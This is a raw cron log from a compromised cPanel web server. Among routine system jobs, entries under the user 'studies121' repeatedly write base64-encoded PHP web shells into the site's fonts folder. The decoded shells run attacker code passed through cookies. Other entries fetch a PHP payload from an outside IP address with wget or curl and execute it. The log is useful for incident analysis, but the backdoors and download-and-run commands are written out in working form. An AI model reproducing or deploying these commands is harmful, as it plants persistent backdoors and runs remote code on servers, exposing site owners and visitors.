Sep 11 05:57:01 ip-184-168-122-23 CROND[12528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:57:01 ip-184-168-122-23 CROND[12526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:57:01 ip-184-168-122-23 CROND[12527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:58:01 ip-184-168-122-23 CROND[12667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:58:01 ip-184-168-122-23 CROND[12670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:58:01 ip-184-168-122-23 CROND[12668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:58:01 ip-184-168-122-23 CROND[12669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:58:01 ip-184-168-122-23 CROND[12671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:59:01 ip-184-168-122-23 CROND[12780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:59:01 ip-184-168-122-23 CROND[12782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:59:01 ip-184-168-122-23 CROND[12781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:59:01 ip-184-168-122-23 CROND[12783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:00:01 ip-184-168-122-23 CROND[12875]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:00:01 ip-184-168-122-23 CROND[12876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:00:01 ip-184-168-122-23 CROND[12877]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep 11 06:00:01 ip-184-168-122-23 CROND[12882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:00:01 ip-184-168-122-23 CROND[12881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:00:01 ip-184-168-122-23 CROND[12885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:00:01 ip-184-168-122-23 CROND[12883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:00:01 ip-184-168-122-23 CROND[12884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:00:01 ip-184-168-122-23 CROND[12892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:00:01 ip-184-168-122-23 CROND[12891]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 06:01:01 ip-184-168-122-23 CROND[13015]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 06:01:01 ip-184-168-122-23 CROND[13017]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 06:01:01 ip-184-168-122-23 CROND[13016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:01:01 ip-184-168-122-23 CROND[13023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:01:01 ip-184-168-122-23 CROND[13022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:01:01 ip-184-168-122-23 CROND[13021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13015]: starting 0anacron
Sep 11 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13036]: finished 0anacron
Sep 11 06:02:01 ip-184-168-122-23 CROND[13225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:02:01 ip-184-168-122-23 CROND[13227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:02:01 ip-184-168-122-23 CROND[13228]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:02:01 ip-184-168-122-23 CROND[13229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:02:01 ip-184-168-122-23 CROND[13230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:03:01 ip-184-168-122-23 CROND[13327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:03:01 ip-184-168-122-23 CROND[13330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:03:01 ip-184-168-122-23 CROND[13329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:03:01 ip-184-168-122-23 CROND[13331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:04:01 ip-184-168-122-23 CROND[13454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:04:01 ip-184-168-122-23 CROND[13455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:04:01 ip-184-168-122-23 CROND[13457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:04:01 ip-184-168-122-23 CROND[13458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:04:01 ip-184-168-122-23 CROND[13462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:05:01 ip-184-168-122-23 CROND[13604]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:05:01 ip-184-168-122-23 CROND[13607]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 06:05:01 ip-184-168-122-23 CROND[13608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:05:01 ip-184-168-122-23 CROND[13609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:05:01 ip-184-168-122-23 CROND[13611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:05:01 ip-184-168-122-23 CROND[13606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:05:01 ip-184-168-122-23 CROND[13610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:06:01 ip-184-168-122-23 CROND[13737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:06:01 ip-184-168-122-23 CROND[13740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:06:01 ip-184-168-122-23 CROND[13741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:06:01 ip-184-168-122-23 CROND[13739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:06:01 ip-184-168-122-23 CROND[13742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:07:01 ip-184-168-122-23 CROND[13956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:07:01 ip-184-168-122-23 CROND[13958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:07:01 ip-184-168-122-23 CROND[13962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:07:01 ip-184-168-122-23 CROND[13961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:08:01 ip-184-168-122-23 CROND[14063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:08:01 ip-184-168-122-23 CROND[14065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:08:01 ip-184-168-122-23 CROND[14068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:08:01 ip-184-168-122-23 CROND[14066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:08:01 ip-184-168-122-23 CROND[14067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:09:01 ip-184-168-122-23 CROND[14182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:09:01 ip-184-168-122-23 CROND[14186]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 06:09:01 ip-184-168-122-23 CROND[14187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
